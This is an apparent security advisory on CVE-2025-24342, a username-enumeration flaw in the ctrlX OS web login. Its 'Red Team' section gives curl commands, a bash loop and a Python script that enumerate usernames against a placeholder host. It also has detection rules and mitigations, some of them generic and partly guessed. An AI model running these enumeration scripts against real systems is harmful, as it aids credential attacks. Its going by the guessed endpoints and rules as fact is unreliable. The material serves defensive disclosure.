CVE-2025-24342

Executive Summary

CVE-2025-24342 is a medium-severity information disclosure vulnerability affecting the login functionality of the web application in ctrlX OS. A remote unauthenticated attacker can exploit this flaw to enumerate valid usernames by sending multiple crafted HTTP requests and analyzing the server's response differences. This username enumeration weakness (CWE-204) provides attackers with a critical foothold for targeted credential attacks, such as brute-force or password spraying, against the ctrlX OS web interface. The vulnerability has a CVSS score of 5.3, an EPSS probability of 0.0%, and no known public exploit code or patch at this time.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Only username enumeration, not full credentials.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)
• Threat Level: Medium. While the direct impact is limited to username disclosure, this information significantly increases the risk of subsequent targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the login endpoint of the ctrlX OS web application. When an attacker submits a login request with a non-existent username, the application returns a generic error message (e.g., "Invalid username or password"). However, when a valid username is provided (even with an incorrect password), the application returns a different response, such as "Invalid password" or a distinct HTTP status code, response time, or error message. This differential response allows an attacker to systematically enumerate valid usernames.

The root cause is a failure to implement consistent error handling for authentication failures. The application should return the same generic message regardless of whether the username exists or not. This is a classic CWE-204 (Response Discrepancy Information Exposure) vulnerability.

Attack Flow:

1. Attacker identifies the login endpoint (e.g., /api/login or /login).
2. Attacker sends a series of HTTP POST requests with different usernames and a dummy password.
3. Attacker analyzes the responses (status code, body, response time) to distinguish between valid and invalid usernames.
4. Valid usernames are collected for further attacks (e.g., brute-force, phishing).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual Example):

# Vulnerable login handler
def login(request):
    username = request.POST['username']
    password = request.POST['password']
    user = User.objects.filter(username=username).first()
    if user is None:
        return HttpResponse("Invalid username or password", status=401)
    if not check_password(password, user.password):
        return HttpResponse("Invalid password", status=401)
    # Successful login
    return HttpResponse("Login successful", status=200)

Patched Code (Conceptual Example):

# Patched login handler
def login(request):
    username = request.POST['username']
    password = request.POST['password']
    user = User.objects.filter(username=username).first()
    if user is None or not check_password(password, user.password):
        return HttpResponse("Invalid username or password", status=401)
    # Successful login
    return HttpResponse("Login successful", status=200)

The patched code uses a single conditional check that returns the same generic error message regardless of whether the username exists or the password is incorrect. This eliminates the response discrepancy.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a ctrlX OS instance (e.g., using a virtual machine or Docker container).
2. Ensure the web application is accessible on the network.
3. Prepare a wordlist of potential usernames (e.g., admin, user, operator, ctrlx).

Exploitation Steps:

1. Identify the login endpoint: Use a web browser or tool like curl to find the login page.

   curl -v http://target-ip/login
   

2. Craft a test request: Send a request with a non-existent username to observe the baseline response.

   curl -X POST http://target-ip/login -d "username=nonexistent&password=test"
   

3. Send enumeration requests: Use a script to iterate through the username wordlist and compare responses.

   #!/bin/bash
   for user in $(cat usernames.txt); do
       response=$(curl -s -o /dev/null -w "%{http_code}" -X POST http://target-ip/login -d "username=$user&password=test")
       if [ "$response" != "401" ]; then
           echo "Potential valid username: $user (HTTP $response)"
       fi
   done
   

4. Analyze response differences: Look for variations in HTTP status codes, response body content, or response times. For example, a valid username might return a 200 status with a "Invalid password" message, while an invalid one returns a 401 with "Invalid username or password".

Automated Tool (Python):

import requests

target = "http://target-ip/login"
usernames = ["admin", "user", "operator", "ctrlx"]
password = "test"

for user in usernames:
    data = {"username": user, "password": password}
    response = requests.post(target, data=data)
    if "Invalid password" in response.text:
        print(f"Valid username found: {user}")

Blue Team (Detection & Defense)

Detection:

• Monitor for multiple failed login attempts from the same IP address with different usernames.
• Look for HTTP requests to the login endpoint with varying username parameters and consistent password values.
• Alert on response size or content differences that indicate enumeration.

Defense:

• Implement rate limiting on the login endpoint (e.g., 5 attempts per minute per IP).
• Use a Web Application Firewall (WAF) to block automated enumeration tools.
• Enforce consistent error messages for all authentication failures.
• Implement CAPTCHA after a few failed attempts.
• Log all login attempts and correlate with other security events.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Multiple HTTP POST requests to /login or /api/login with varying username parameters.
  • Requests with a consistent password value (e.g., "test", "password") across different usernames.
  • Unusual response size or content differences between requests.
• Host IOCs:
  • Web server logs showing repeated 401 or 200 status codes from the same source IP.
  • High volume of login attempts in a short time window.
• Log Examples:

  192.168.1.100 - - [10/Jan/2025:12:00:00 +0000] "POST /login HTTP/1.1" 401 45
  192.168.1.100 - - [10/Jan/2025:12:00:01 +0000] "POST /login HTTP/1.1" 200 30
  192.168.1.100 - - [10/Jan/2025:12:00:02 +0000] "POST /login HTTP/1.1" 401 45
  

Detection Engineering

YARA Rule

rule CVE_2025_24342_Username_Enumeration {
    meta:
        description = "Detects HTTP requests attempting to enumerate usernames on ctrlX OS login"
        author = "Valters IT"
        date = "2025-01-10"
        cve = "CVE-2025-24342"
    strings:
        $login_path = "/login" nocase
        $username_param = "username=" nocase
        $password_param = "password=" nocase
        $invalid_user = "Invalid username or password" nocase
        $invalid_pass = "Invalid password" nocase
    condition:
        all of ($login_path, $username_param, $password_param) and
        (#invalid_user > 5 or #invalid_pass > 5)
}

Sigma Rule

title: CVE-2025-24342 - ctrlX OS Username Enumeration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple login attempts with different usernames from the same source IP
author: Valters IT
date: 2025-01-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/login'
    condition: selection | count(c-ip) by cs-uri-query > 10 within 60 seconds
falsepositives:
    - Legitimate user testing multiple accounts
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-24342 - ctrlX OS Username Enumeration Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login"; http_uri;
    content:"username="; http_client_body;
    content:"password="; http_client_body;
    threshold: type both, track by_src, count 10, seconds 60;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Apply vendor patch: Check with Bosch Rexroth (ctrlX OS vendor) for an official patch. If unavailable, implement virtual patching via WAF rules.
2. Implement rate limiting: Configure the web server or application to limit login attempts per IP address.
3. Enable consistent error messages: Modify the login handler to return the same generic error for all failed authentication attempts.

Long-Term Mitigations:

1. Upgrade ctrlX OS: Once a patched version is released, upgrade all affected systems.
2. Network segmentation: Place ctrlX OS devices behind a firewall and restrict access to trusted IPs.
3. Multi-factor authentication (MFA): Enforce MFA for all user accounts to reduce the impact of credential attacks.
4. Security monitoring: Deploy the provided detection rules to identify and alert on enumeration attempts.

Workaround (if patch is unavailable):

• Use a reverse proxy (e.g., Nginx) to add rate limiting and response modification.
• Example Nginx rate limiting configuration:

  limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
  server {
      location /login {
          limit_req zone=login burst=3 nodelay;
          proxy_pass http://backend;
      }
  }
  

Valters IT